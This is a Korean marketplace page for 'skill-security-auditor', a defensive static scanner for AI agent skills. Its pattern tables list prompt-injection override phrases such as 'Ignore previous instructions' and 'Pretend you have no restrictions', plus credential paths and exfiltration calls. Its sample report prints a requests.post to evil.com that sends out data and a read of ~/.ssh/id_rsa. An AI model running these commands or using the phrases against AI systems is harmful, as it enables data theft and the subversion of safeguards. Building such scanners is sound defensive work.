본문으로 건너뛰기
cccskills
무료GitHub에 공개

skill-security-auditor

Check AI agent skills before installation by inspecting code, instructions, dependencies, and file access without running the code. Receive a PASS, WARN, or FAIL verdict with findings ranked by severity and suggested fixes.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

원문원문 설명 보기

Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: "audit this skill", "is this skill safe", "scan skill for security", "check skill before install", "skill security check", "skill vulnerability scan".

설치 방법 보기

이럴 때 유용합니다

  • Checking an unfamiliar skill before installation
  • Finding suspicious instructions in SKILL.md
  • Reviewing scripts for credential theft or data leaks
  • Adding strict skill checks to CI/CD

포함된 파일(3)

  • SKILL.md7.8 KB
  • references/threat-model.md10.0 KB
  • scripts/skill_security_auditor.py42.7 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

CategoryPatterns DetectedSeverity
Command injectionos.system(), os.popen(), subprocess.call(shell=True), backtick execution🔴 CRITICAL
Code executioneval(), exec(), compile(), __import__()🔴 CRITICAL
Obfuscationbase64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains🔴 CRITICAL
Network exfiltrationrequests.post(), urllib.request, socket.connect(), httpx, aiohttp🔴 CRITICAL
Credential harvestingreads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns🔴 CRITICAL
File system abusewrites outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation🟡 HIGH
Privilege escalationsudo, chmod 777, setuid, cron manipulation🔴 CRITICAL
Unsafe deserializationpickle.loads(), yaml.load() (without SafeLoader), marshal.loads()🟡 HIGH
Subprocess (safe)subprocess.run() with list args, no shell⚪ INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

PatternExampleSeverity
System prompt override"Ignore previous instructions", "You are now..."🔴 CRITICAL
Role hijacking"Act as root", "Pretend you have no restrictions"🔴 CRITICAL
Safety bypass"Skip safety checks", "Disable content filtering"🔴 CRITICAL
Hidden instructionsZero-width characters, HTML comments with directives🟡 HIGH
Excessive permissions"Run any command", "Full filesystem access"🟡 HIGH
Data extraction"Send contents of", "Upload file to", "POST to"🔴 CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

CheckWhat It DoesSeverity
Known vulnerabilitiesCross-reference with PyPI/npm advisory databases🔴 CRITICAL
TyposquattingFlag packages similar to popular ones (e.g., reqeusts)🟡 HIGH
Unpinned versionsFlag requests>=2.0 vs requests==2.31.0⚪ INFO
Install commands in codepip install or npm install inside scripts🟡 HIGH
Suspicious packagesLow download count, recent creation, single maintainer⚪ INFO

4. File System & Structure

CheckWhat It DoesSeverity
Boundary violationScripts referencing paths outside skill directory🟡 HIGH
Hidden files.env, dotfiles that shouldn't be in a skill🟡 HIGH
Binary filesUnexpected executables, .so, .dll, .exe🔴 CRITICAL
Large filesFiles >1MB that could hide payloads⚪ INFO
SymlinksSymbolic links pointing outside skill directory🔴 CRITICAL

Audit Workflow

  1. Run the scanner on the skill directory or repo URL
  2. Review the report — findings grouped by severity
  3. Verdict interpretation:
    • ✅ PASS — No critical or high findings. Safe to install.
    • ⚠️ WARN — High/medium findings detected. Review manually before installing.
    • ❌ FAIL — Critical findings. Do NOT install without remediation.
  4. Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

  • Cannot detect logic bombs or time-delayed payloads with certainty
  • Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
  • Network destination reputation checks require internet access
  • Does not execute code — static analysis only (safe but less complete than dynamic analysis)
  • Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Audit web applications for accessibility issues against WCAG 2.2 Level A and AA, the web accessibility standards. Get framework-specific code fixes, contrast checks, verification steps, and reports, with options for automated checks in development pipelines.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Audit a web application before release
  • Fix contrast and keyboard navigation issues
  • Prepare accessibility reports for stakeholders
alirezarezvani/claude-skills2.8만2026년 8월 30일 업데이트

Plan A/B tests that compare page variations, from headlines to pricing layouts. Define a hypothesis, choose success metrics, calculate sample size and duration, and prepare launch checks and results reports to support decisions.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Comparing landing page headlines
  • Testing signup button changes
  • Planning pricing page experiments
alirezarezvani/claude-skills2.8만2026년 8월 30일 업데이트

Create paid ad headlines and body copy tailored to each platform's character limits. Use existing performance data to develop variations, explore new messaging angles, and check copy for length, quality, and potential rejection risks.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Creating Google RSA headlines
  • Writing Meta and LinkedIn ad copy
  • Developing variations of successful ads
alirezarezvani/claude-skills2.8만2026년 8월 30일 업데이트

Review code changes from three critical perspectives: production failures, maintainability, and security. Get a consolidated report that ranks findings by severity and provides merge guidance, helping examine assumptions that an ordinary self-review may overlook.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Reviewing a pull request before merging
  • Getting a second opinion on AI-written code
  • Checking authentication or data access code
alirezarezvani/claude-skills2.8만2026년 8월 30일 업데이트

aeo

무료

Audit and improve content intended for citation in AI answers. Review evidence, author information, and structure, generate revised content and structured metadata, and keep a local record of observed citations across AI services.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Audit existing articles for evidence and credibility gaps
  • Revise article structure and references for AI answers
  • Record citations observed across AI services
alirezarezvani/claude-skills2.8만2026년 8월 30일 업데이트

Create signed records for consequential agent actions such as deployments, deletions, and payments. Decide which actions need evidence, record the agent, action, target, and policy, then verify the resulting certificate offline to detect later changes.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Creating signed records for production deployments
  • Preserving evidence of deletions and payments
  • Recording access grants for later review
alirezarezvani/claude-skills2.8만2026년 8월 30일 업데이트

alirezarezvani의 스킬 모두 보기

이 스킬의 문제 신고